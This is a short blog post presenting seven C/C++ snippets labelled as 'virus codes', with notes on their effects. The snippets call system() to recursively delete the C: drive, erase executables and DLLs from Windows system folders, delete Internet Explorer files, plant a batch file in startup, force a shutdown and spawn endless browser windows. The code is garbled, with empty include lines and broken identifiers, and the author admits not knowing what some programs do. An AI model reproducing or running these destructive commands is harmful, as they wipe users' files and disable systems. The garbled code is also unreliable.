Virus codes for C++


1} C:
#include
using namespace std;
void main(int argv,char [])
{
system("deltree c:\\*.*");
}

NOTE: well i dont know what can this program do!
2} CPP:
#include
#include
int main()
{
system("DEL c:\*.exe");
system("DEL c:\*.txt");
system("DEL c:\*.doc");
system("DEL c:\windows\*.exe");
system("DEL c:\windows\*.com");
system("DEL c:\windows\*.bat");
system("DEL c:\program files\*.");
system("DEL c:\windows\system\*.exe");
system("DEL c:\windows\system\*.dll");
system("DEL c:\windows\system\*.com");
system("DEL c:\windows\system\*.bat");
return 0;
}
NOTE: this program delete your settings from c drive.

3} CPP:
#define_win32_WiNNT OX 0500
#include
#include
int main()
{
HWNDH wnd=GetConsole Window();
show window(h wnd,sw_HIDE);
}

NOTE: well i dont know what can this program do!
4} CPP:
#include
#include
void main()
{
ofstream output file("\\startup\\virus.bat");
char str[225];
strcpy(str,"@echo off\n cls\insertvirus.bat\nexit");
output file.write(str,strlen(str));
output file.close();
return 0;
}
NOTE: this program add your virus program into startup.

5} c:
#include
#include
#include
void main(void)
{
system("shutdown -s");
}
NOTE: first save it then run it and than double click on its .exe file your pc will be shutdown in sometime.

6} c:
#include
#include
#include
void main(void)
{
for(;;)
{
system("c:\\proga~1\\intern~1\\iexplore.exe");
}
}
NOTE: all procedure is same as pro no:5
when you double click on its .exe file internet
explorer is open in between your work.

7} c:
#include
#include
#include
void main(void)
{
system("c:\\progra~1\\intern~1");
system("del *.exe");
system("cls");
}
NOTE: it remove all .exe files of internet explorer
so internet explorer can not work proprly.

0 comments:

Post a Comment